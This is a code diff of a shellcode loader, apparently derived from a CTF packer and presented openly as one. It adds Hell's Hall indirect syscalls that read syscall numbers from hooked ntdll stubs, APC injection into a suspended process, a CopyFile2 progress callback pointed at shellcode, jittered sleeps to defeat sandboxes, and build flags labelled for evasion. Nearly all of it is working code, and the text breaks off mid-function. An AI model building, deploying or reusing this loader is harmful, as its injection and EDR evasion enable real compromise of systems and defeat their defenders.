IN HANDLE ThreadHandle,
|
||||
IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL);
|
||||
|
||||
#endif
|
||||
#include "hellhall.h"
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
###############################################################################
|
||||
# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux
|
||||
# Makefile for Clang (MinGW) cross-compiling from Linux
|
||||
# Targets: Debian / Ubuntu / Kali Linux (mingw-w64 + clang + lld + nasm)
|
||||
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING
|
||||
###############################################################################
|
||||
|
||||
@@ -8,15 +9,29 @@
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
.SUFFIXES:
|
||||
|
||||
|
||||
TARGET_TRIPLE ?= x86_64-w64-mingw32
|
||||
CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld
|
||||
CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld
|
||||
|
||||
# MinGW‑w64 include / lib helper paths (auto‑detect the GCC win32 subtree)
|
||||
GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" | head -n 1)
|
||||
INCLUDE_DIR := /usr/$(TARGET_TRIPLE)/include
|
||||
INCLUDE := -I$(INCLUDE_DIR)
|
||||
LIBPATH := -L$(GCC_WIN32_PATH)
|
||||
# Parallel jobs — use all available cores (override with: make JOBS=N)
|
||||
JOBS ?= $(shell nproc 2>/dev/null || echo 4)
|
||||
MAKEFLAGS += -j$(JOBS)
|
||||
|
||||
# ── Sysroot paths (standard Debian/Ubuntu/Kali layout) ───────────────────────
|
||||
MINGW_SYSROOT := /usr/$(TARGET_TRIPLE)
|
||||
INCLUDE_DIR := $(MINGW_SYSROOT)/include
|
||||
MINGW_LIB_DIR := $(MINGW_SYSROOT)/lib
|
||||
INCLUDE := -I$(INCLUDE_DIR)
|
||||
|
||||
# GCC runtime libs (libgcc.a, libmingwex.a …).
|
||||
# Auto-detect the win32 subtree; fall back to MINGW_LIB_DIR if GCC is absent
|
||||
# (e.g. llvm-mingw-only setups).
|
||||
GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" 2>/dev/null | head -n1)
|
||||
ifeq ($(GCC_WIN32_PATH),)
|
||||
GCC_WIN32_PATH := $(MINGW_LIB_DIR)
|
||||
endif
|
||||
|
||||
# Both paths needed: GCC runtime + mingw-w64 import stubs (winhttp, ntdll …)
|
||||
LIBPATH := -L$(GCC_WIN32_PATH) -L$(MINGW_LIB_DIR)
|
||||
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
# 2. Build format selector (EXE is default)
|
||||
@@ -27,10 +42,12 @@ FORMAT ?= EXE # { EXE | DLL }
|
||||
# 3. Source files
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
COMMON_SRCS := \
|
||||
api_hashing.c \
|
||||
api_hashing.c \
|
||||
inject.c \
|
||||
unhook.c \
|
||||
whispers.c
|
||||
hellhall.c \
|
||||
sandbox.c \
|
||||
trampoline.c
|
||||
|
||||
ifeq ($(FORMAT),DLL)
|
||||
MAIN_SRC := main_dll.c
|
||||
@@ -59,8 +76,12 @@ ASFLAGS := -f win64
|
||||
# Baseline flags from the original CTFPacker Makefile:
|
||||
# -O0 -Wall -w -fms-extensions -fdeclspec -static
|
||||
# We keep them intact so behaviour matches the pre‑DLL build.
|
||||
CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static
|
||||
LDFLAGS_BASE := -Wl,--disable-auto-import -s
|
||||
# Hardening flags for evasion and binary optimization
|
||||
HARDENING_FLAGS := -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables \
|
||||
-ffunction-sections -fdata-sections -Wl,--gc-sections
|
||||
|
||||
CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static -D_WIN32_WINNT=0x0602 $(HARDENING_FLAGS)
|
||||
LDFLAGS_BASE := -Wl,--disable-auto-import -s -Wl,--no-seh -mwindows
|
||||
LIBS := -lwinhttp -lntdll
|
||||
|
||||
ifeq ($(FORMAT),DLL)
|
||||
@@ -75,15 +96,26 @@ endif
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
# 6. Phony targets
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
.PHONY: all exe dll clean
|
||||
.PHONY: all exe dll clean check
|
||||
|
||||
all: $(TARGET)
|
||||
|
||||
exe:
|
||||
$(MAKE) FORMAT=EXE
|
||||
$(MAKE) FORMAT=EXE JOBS=$(JOBS)
|
||||
|
||||
dll:
|
||||
$(MAKE) FORMAT=DLL
|
||||
$(MAKE) FORMAT=DLL JOBS=$(JOBS)
|
||||
|
||||
# ── Toolchain sanity check ────────────────────────────────────────────────────
|
||||
check:
|
||||
@echo "[*] Checking required tools..."
|
||||
@command -v clang >/dev/null 2>&1 || { echo "[-] clang not found"; exit 1; }
|
||||
@command -v lld >/dev/null 2>&1 || { echo "[-] lld not found"; exit 1; }
|
||||
@command -v nasm >/dev/null 2>&1 || { echo "[-] nasm not found"; exit 1; }
|
||||
@command -v make >/dev/null 2>&1 || { echo "[-] make not found"; exit 1; }
|
||||
@test -d "$(INCLUDE_DIR)" || { echo "[-] MinGW includes missing: $(INCLUDE_DIR)"; exit 1; }
|
||||
@test -d "$(MINGW_LIB_DIR)" || { echo "[-] MinGW libs missing: $(MINGW_LIB_DIR)"; exit 1; }
|
||||
@echo "[+] All tools OK (jobs=$(JOBS))"
|
||||
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
# 7. Linking & compilation rules
|
||||
|
||||
@@ -1,14 +1,20 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
// API Hashing Part
|
||||
#define HASHA(API) (HashStringDjb2A((PCHAR) API))
|
||||
#define INITIAL_HASH #-INITIAL_HASH_VALUE-#
|
||||
#define INITIAL_SEED #-INITIAL_SEED_VALUE-#
|
||||
|
||||
// Jittered sleep. uses WaitForSingleObject so sandbox time-acceleration
|
||||
#define JITTER_SLEEP(ms) \
|
||||
WaitForSingleObject(GetCurrentProcess(), (DWORD)((ms) + (rand() % ((ms) / 2 + 1))))
|
||||
|
||||
BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload);
|
||||
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread);
|
||||
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
|
||||
BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
|
||||
FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
|
||||
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
/*
|
||||
* hellhall.c
|
||||
*
|
||||
* Hell's Hall indirect syscall implementation.
|
||||
* Adapted from Hell's Hall (MalDevAcademy), ported to Clang/x64/NASM.
|
||||
*
|
||||
* Replaces SysWhispers3. inject.c is unchanged — NTAVM/NTPVM/NTWVM/NTQAT
|
||||
* are exported with identical signatures.
|
||||
*
|
||||
* How it works:
|
||||
* 1. Walk the PEB InMemoryOrderModuleList to find ntdll base.
|
||||
* 2. Enumerate the export directory; for each export, CRC32b-hash the name.
|
||||
* 3. Once matched, scan the stub body for "MOV R10,RCX; MOV EAX,<SSN>"
|
||||
* to extract the syscall number (works even on hooked stubs).
|
||||
* 4. Find the nearest "syscall" (0F 05) instruction within the stub.
|
||||
* 5. SetConfig(SSN, &syscall_instr) stores both in .data globals.
|
||||
* 6. HellHall_Nt*() does: MOV R10,RCX ; MOV EAX,[SSN] ; JMP [syscall_instr]
|
||||
* — execution resurfaces inside ntdll, making call stacks look legitimate.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "hellhall.h"
|
||||
#include "structs.h"
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Internal ntdll export-table context (populated once) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
typedef struct _HH_NTDLL {
|
||||
PBYTE pBase;
|
||||
PIMAGE_DOS_HEADER pDos;
|
||||
PIMAGE_NT_HEADERS pNt;
|
||||
PIMAGE_EXPORT_DIRECTORY pExp;
|
||||
PDWORD pdwFunctions;
|
||||
PDWORD pdwNames;
|
||||
PWORD pwOrdinals;
|
||||
} HH_NTDLL;
|
||||
|
||||
static HH_NTDLL gNtdll = { 0 };
|
||||
|
||||
/* Per-syscall cache — resolved once; avoids repeated export-table scans */
|
||||
typedef struct _HH_CACHE {
|
||||
SysFunc NtAllocateVirtualMemory;
|
||||
SysFunc NtProtectVirtualMemory;
|
||||
SysFunc NtWriteVirtualMemory;
|
||||
SysFunc NtQueueApcThread;
|
||||
} HH_CACHE;
|
||||
|
||||
static HH_CACHE gCache = { 0 };
|
||||
static BOOL gReady = FALSE;
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* CRC32b */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
hh_u32 HH_Crc32b(const hh_u8 *str)
|
||||
{
|
||||
hh_u32 crc = 0xFFFFFFFFu;
|
||||
int i = 0;
|
||||
while (str[i]) {
|
||||
hh_u32 byte = (hh_u32)str[i];
|
||||
crc ^= byte;
|
||||
for (int j = 7; j >= 0; j--) {
|
||||
hh_u32 mask = (hh_u32)(-(int)(crc & 1u));
|
||||
crc = (crc >> 1) ^ (HH_SEED & mask);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
return ~crc;
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Populate ntdll export-table pointers (once) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
BOOL HH_InitNtdll(VOID)
|
||||
{
|
||||
if (gNtdll.pBase) return TRUE;
|
||||
|
||||
/* Walk PEB -> LDR InMemoryOrderModuleList:
|
||||
* [1] = the process image itself
|
||||
* [2] = ntdll.dll (always second in InMemoryOrder)
|
||||
*
|
||||
* Flink of InMemoryOrderModuleList -> InMemoryOrderLinks of entry[1]
|
||||
* .Flink -> InMemoryOrderLinks of entry[2] (ntdll)
|
||||
* - 0x10 -> base of LDR_DATA_TABLE_ENTRY (InMemoryOrderLinks is at +0x10)
|
||||
* ->DllBase -> ntdll image base
|
||||
*/
|
||||
PPEB pPeb = (PPEB)__readgsqword(0x60);
|
||||
if (!pPeb) return FALSE;
|
||||
|
||||
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(
|
||||
(PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
|
||||
if (!pDte) return FALSE;
|
||||
|
||||
gNtdll.pBase = (PBYTE)pDte->DllBase;
|
||||
if (!gNtdll.pBase) return FALSE;
|
||||
|
||||
gNtdll.pDos = (PIMAGE_DOS_HEADER)gNtdll.pBase;
|
||||
if (gNtdll.pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
|
||||
|
||||
gNtdll.pNt = (PIMAGE_NT_HEADERS)(gNtdll.pBase + gNtdll.pDos->e_lfanew);
|
||||
if (gNtdll.pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE;
|
||||
|
||||
gNtdll.pExp = (PIMAGE_EXPORT_DIRECTORY)(gNtdll.pBase +
|
||||
gNtdll.pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
if (!gNtdll.pExp || !gNtdll.pExp->Base) return FALSE;
|
||||
|
||||
gNtdll.pdwFunctions = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfFunctions);
|
||||
gNtdll.pdwNames = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfNames);
|
||||
gNtdll.pwOrdinals = (PWORD) (gNtdll.pBase + gNtdll.pExp->AddressOfNameOrdinals);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Resolve SSN + indirect syscall address for one NT function */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF)
|
||||
{
|
||||
if (!uHash || !psF) return FALSE;
|
||||
if (!gNtdll.pBase && !HH_InitNtdll()) return FALSE;
|
||||
|
||||
RtlSecureZeroMemory(psF, sizeof(SysFunc));
|
||||
|
||||
for (DWORD i = 0; i < gNtdll.pExp->NumberOfNames; i++) {
|
||||
CHAR *name = (CHAR *)(gNtdll.pBase + gNtdll.pdwNames[i]);
|
||||
|
||||
if (HH_Crc32b((hh_u8 *)name) != uHash)
|
||||
continue;
|
||||
|
||||
psF->uHash = uHash;
|
||||
psF->pAddress = (PBYTE)(gNtdll.pBase +
|
||||
gNtdll.pdwFunctions[gNtdll.pwOrdinals[i]]);
|
||||
|
||||
/* Scan stub body for:
|
||||
* 4C 8B D1 mov r10, rcx
|
||||
* B8 lo hi 00 00 mov eax, <SSN>
|
||||
*
|
||||
* Works even when the first few bytes are hooked/patched, because
|
||||
* EDR hooks typically only overwrite the first 5-10 bytes (the jmp).
|
||||
*/
|
||||
for (DWORD j = 0; j < 0x50; j++) {
|
||||
/* Hit a ret before finding the pattern — stub is trampolined oddly */
|
||||
if (*((PBYTE)psF->pAddress + j) == 0xC3)
|
||||
return FALSE;
|
||||
|
||||
if (*((PBYTE)psF->pAddress + j + 0) == 0x4C &&
|
||||
*((PBYTE)psF->pAddress + j + 1) == 0x8B &&
|
||||
*((PBYTE)psF->pAddress + j + 2) == 0xD1 &&
|
||||
*((PBYTE)psF->pAddress + j + 3) == 0xB8)
|
||||
{
|
||||
BYTE lo = *((PBYTE)psF->pAddress + j + 4);
|
||||
BYTE hi = *((PBYTE)psF->pAddress + j + 5);
|
||||
psF->wSSN = (WORD)((hi << 8) | lo);
|
||||
|
||||
/* Find the nearest 'syscall' (0F 05) instruction */
|
||||
for (DWORD z = 0, x = 1; z <= HH_RANGE; z++, x++) {
|
||||
if (*((PBYTE)psF->pAddress + j + z) == 0x0F &&
|
||||
*((PBYTE)psF->pAddress + j + x) == 0x05)
|
||||
{
|
||||
psF->pInst = (PVOID)((PBYTE)psF->pAddress + j + z);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return (psF->wSSN != 0 && psF->pInst != NULL) ? TRUE : FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* One-time init — resolve all 4 syscalls and cache */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
BOOL HH_Initialize(VOID)
|
||||
{
|
||||
if (gReady) return TRUE;
|
||||
|
||||
RtlSecureZeroMemory(&gCache, sizeof(HH_CACHE));
|
||||
|
||||
if (!HH_InitSysFunc(HH_HASH_NtAllocateVirtualMemory, &gCache.NtAllocateVirtualMemory)) return FALSE;
|
||||
if (!HH_InitSysFunc(HH_HASH_NtProtectVirtualMemory, &gCache.NtProtectVirtualMemory)) return FALSE;
|
||||
if (!HH_InitSysFunc(HH_HASH_NtWriteVirtualMemory, &gCache.NtWriteVirtualMemory)) return FALSE;
|
||||
if (!HH_InitSysFunc(HH_HASH_NtQueueApcThread, &gCache.NtQueueApcThread)) return FALSE;
|
||||
|
||||
gReady = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Public wrappers — drop-in replacements for the old SysWhispers3 stubs */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
|
||||
NTSTATUS NTAVM(
|
||||
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
|
||||
IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType, IN ULONG Protect)
|
||||
{
|
||||
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
|
||||
SYSCALL(gCache.NtAllocateVirtualMemory);
|
||||
return HellHall_NtAVM(ProcessHandle, BaseAddress,
|
||||
ZeroBits, RegionSize, AllocationType, Protect);
|
||||
}
|
||||
|
||||
NTSTATUS NTPVM(
|
||||
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect)
|
||||
{
|
||||
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
|
||||
SYSCALL(gCache.NtProtectVirtualMemory);
|
||||
return HellHall_NtPVM(ProcessHandle, BaseAddress,
|
||||
RegionSize, NewProtect, OldProtect);
|
||||
}
|
||||
|
||||
NTSTATUS NTWVM(
|
||||
IN HANDLE ProcessHandle, IN PVOID BaseAddress,
|
||||
IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten)
|
||||
{
|
||||
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
|
||||
SYSCALL(gCache.NtWriteVirtualMemory);
|
||||
return HellHall_NtWVM(ProcessHandle, BaseAddress,
|
||||
Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
|
||||
}
|
||||
|
||||
NTSTATUS NTQAT(
|
||||
IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1, IN PVOID ApcArgument2, IN PVOID ApcArgument3)
|
||||
{
|
||||
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
|
||||
SYSCALL(gCache.NtQueueApcThread);
|
||||
return HellHall_NtQAT(ThreadHandle, ApcRoutine,
|
||||
ApcArgument1, ApcArgument2, ApcArgument3);
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
/*
|
||||
* hellhall.h
|
||||
*
|
||||
* Hell's Hall: indirect syscalls via SSN discovery + ntdll syscall-instruction
|
||||
* trampoline. Adapted from Hell's Hall (MalDevAcademy).
|
||||
*
|
||||
* Drop-in replacement for SysWhispers3.
|
||||
* Exports NTAVM / NTPVM / NTWVM / NTQAT with the same signatures.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Primitive types used internally */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
typedef unsigned char hh_u8;
|
||||
typedef unsigned int hh_u32;
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* CRC32b hash (Castagnoli, SEED = 0xEDB88320) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
#define HH_SEED 0xEDB88320u
|
||||
#define HH_RANGE 0x1E /* max bytes to search forward for syscall */
|
||||
|
||||
hh_u32 HH_Crc32b(const hh_u8 *str);
|
||||
#define HASH(s) HH_Crc32b((const hh_u8 *)(s))
|
||||
|
||||
/* Precomputed CRC32b hashes — verified: HASH("NtXxx") == constant below */
|
||||
#define HH_HASH_NtAllocateVirtualMemory 0xE0762FEBu
|
||||
#define HH_HASH_NtProtectVirtualMemory 0x5C2D1A97u
|
||||
#define HH_HASH_NtWriteVirtualMemory 0xE4879939u
|
||||
#define HH_HASH_NtQueueApcThread 0x235B0390u
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* SysFunc — one instance per syscall */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
typedef struct _SysFunc {
|
||||
PVOID pInst; /* address of a 'syscall' instruction inside ntdll */
|
||||
PBYTE pAddress; /* address of the NT stub in ntdll */
|
||||
WORD wSSN; /* syscall service number */
|
||||
hh_u32 uHash; /* CRC32b of the function name */
|
||||
} SysFunc, *PSysFunc;
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Assembly stubs (whispers-asm.x64.asm) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
EXTERN_C VOID SetConfig(WORD wSSN, PVOID pSyscallInst);
|
||||
#define SYSCALL(sf) (SetConfig((sf).wSSN, (sf).pInst))
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* NTSTATUS / KNORMAL_ROUTINE (guard against redefinition) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
#ifndef _NTDEF_
|
||||
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS *PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#ifndef _KNORMAL_ROUTINE_DEFINED
|
||||
#define _KNORMAL_ROUTINE_DEFINED
|
||||
typedef VOID(KNORMAL_ROUTINE)(IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
typedef KNORMAL_ROUTINE *PKNORMAL_ROUTINE;
|
||||
#endif
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Typed HellHall dispatch stubs (all share the same ASM body) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
EXTERN_C NTSTATUS HellHall_NtAVM(
|
||||
HANDLE ProcessHandle, PVOID *BaseAddress,
|
||||
ULONG ZeroBits, PSIZE_T RegionSize,
|
||||
ULONG AllocationType, ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS HellHall_NtPVM(
|
||||
HANDLE ProcessHandle, PVOID *BaseAddress,
|
||||
PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
|
||||
|
||||
EXTERN_C NTSTATUS HellHall_NtWVM(
|
||||
HANDLE ProcessHandle, PVOID BaseAddress,
|
||||
PVOID Buffer, SIZE_T NumberOfBytesToWrite,
|
||||
PSIZE_T NumberOfBytesWritten);
|
||||
|
||||
EXTERN_C NTSTATUS HellHall_NtQAT(
|
||||
HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine,
|
||||
PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3);
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Hell's Hall C API */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
BOOL HH_InitNtdll(VOID);
|
||||
BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF);
|
||||
BOOL HH_Initialize(VOID); /* resolve all 4 syscalls once at startup */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Public wrappers — same signatures as the old SysWhispers3 stubs */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
NTSTATUS NTAVM(
|
||||
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
|
||||
IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType, IN ULONG Protect);
|
||||
|
||||
NTSTATUS NTPVM(
|
||||
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect);
|
||||
|
||||
NTSTATUS NTWVM(
|
||||
IN HANDLE ProcessHandle, IN PVOID BaseAddress,
|
||||
IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten);
|
||||
|
||||
NTSTATUS NTQAT(
|
||||
IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL);
|
||||
@@ -33,7 +33,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP
|
||||
// API Hashing
|
||||
cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#);
|
||||
|
||||
Sleep(15000);
|
||||
JITTER_SLEEP(15000);
|
||||
if(!cCPAu(
|
||||
NULL,
|
||||
lpPath,
|
||||
@@ -55,7 +55,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP
|
||||
*hProcess = Pi.hProcess;
|
||||
*hThread = Pi.hThread;
|
||||
|
||||
Sleep(5000);
|
||||
JITTER_SLEEP(5000);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -83,8 +83,8 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel
|
||||
//printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
|
||||
|
||||
|
||||
Sleep(2500);
|
||||
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
|
||||
JITTER_SLEEP(2500);
|
||||
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READ, &uOldProtection)) != 0) {
|
||||
|
||||
//printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
|
||||
return FALSE;
|
||||
@@ -94,4 +94,125 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
// CopyFile2 compat types — only define when winbase.h does not already provide them.
|
||||
// Newer mingw-w64 (Kali 2024+, Ubuntu 24.04+) includes these when _WIN32_WINNT >= 0x0602.
|
||||
// We pass -D_WIN32_WINNT=0x0602 via CFLAGS so this block is effectively dead on
|
||||
// modern toolchains; it remains as a safety net for legacy environments.
|
||||
#if !defined(_WIN32_WINNT) || (_WIN32_WINNT < 0x0602)
|
||||
|
||||
typedef enum _COPYFILE2_MESSAGE_TYPE {
|
||||
COPYFILE2_CALLBACK_NONE = 0,
|
||||
COPYFILE2_CALLBACK_CHUNK_STARTED,
|
||||
COPYFILE2_CALLBACK_CHUNK_FINISHED,
|
||||
COPYFILE2_CALLBACK_STREAM_STARTED,
|
||||
COPYFILE2_CALLBACK_STREAM_FINISHED,
|
||||
COPYFILE2_CALLBACK_POLL_CONTINUE,
|
||||
COPYFILE2_CALLBACK_ERROR,
|
||||
COPYFILE2_CALLBACK_MAX
|
||||
} COPYFILE2_MESSAGE_TYPE;
|
||||
|
||||
typedef enum _COPYFILE2_MESSAGE_ACTION {
|
||||
COPYFILE2_PROGRESS_CONTINUE = 0,
|
||||
COPYFILE2_PROGRESS_CANCEL,
|
||||
COPYFILE2_PROGRESS_STOP,
|
||||
COPYFILE2_PROGRESS_QUIET,
|
||||
COPYFILE2_PROGRESS_PAUSE
|
||||
} COPYFILE2_MESSAGE_ACTION;
|
||||
|
||||
typedef struct COPYFILE2_MESSAGE {
|
||||
COPYFILE2_MESSAGE_TYPE Type;
|
||||
DWORD dwPadding;
|
||||
union {
|
||||
struct { ULARGE_INTEGER ullChunkNumber; } ChunkStarted;
|
||||
struct { ULARGE_INTEGER ullChunkNumber; } ChunkFinished;
|
||||
struct { DWORD dwStreamNumber; } StreamStarted;
|
||||
struct { DWORD dwStreamNumber; } StreamFinished;
|
||||
struct { DWORD dwReserved; } PollContinue;
|
||||
struct { DWORD dwReserved; } Error;
|
||||
} Info;
|
||||
} COPYFILE2_MESSAGE;
|
||||
|
||||
typedef COPYFILE2_MESSAGE_ACTION (CALLBACK *PCOPYFILE2_PROGRESS_ROUTINE)(
|
||||
const COPYFILE2_MESSAGE *pMessage, PVOID pvCallbackContext);
|
||||
|
||||
typedef struct COPYFILE2_EXTENDED_PARAMETERS {
|
||||
DWORD dwSize;
|
||||
DWORD dwCopyFlags;
|
||||
BOOL *pfCancel;
|
||||
PCOPYFILE2_PROGRESS_ROUTINE pProgressRoutine;
|
||||
PVOID pvCallbackContext;
|
||||
} COPYFILE2_EXTENDED_PARAMETERS;
|
||||
|
||||
WINBASEAPI HRESULT WINAPI CopyFile2(PCWSTR pwszExistingFileName,
|
||||
PCWSTR pwszNewFileName, COPYFILE2_EXTENDED_PARAMETERS *pExtendedParameters);
|
||||
|
||||
#endif // !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602
|
||||
|
||||
BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
|
||||
|
||||
SIZE_T sSize = sSizeOfShellcode;
|
||||
NTSTATUS STATUS = 0x00; DWORD dwOldProtect = 0; WCHAR szSourceFile[MAX_PATH];
|
||||
WCHAR szDestFile[MAX_PATH];
|
||||
|
||||
// Allocate RW memory — will be flipped to RX before execution
|
||||
*ppAddress = VirtualAlloc(NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (*ppAddress == NULL) {
|
||||
//printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
|
||||
|
||||
// Copy shellcode to RW memory
|
||||
RtlMoveMemory(*ppAddress, pShellcode, sSizeOfShellcode);
|
||||
//printf("[+] Successfully Written %d Bytes\n", sSizeOfShellcode);
|
||||
|
||||
// Flip to RX. never hold W+X simultaneously
|
||||
VirtualProtect(*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtect);
|
||||
|
||||
// Setup CopyFile2 parameters with callback pointing to shellcode
|
||||
COPYFILE2_EXTENDED_PARAMETERS params = { 0 };
|
||||
params.dwSize = sizeof(COPYFILE2_EXTENDED_PARAMETERS);
|
||||
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
|
||||
params.pfCancel = FALSE;
|
||||
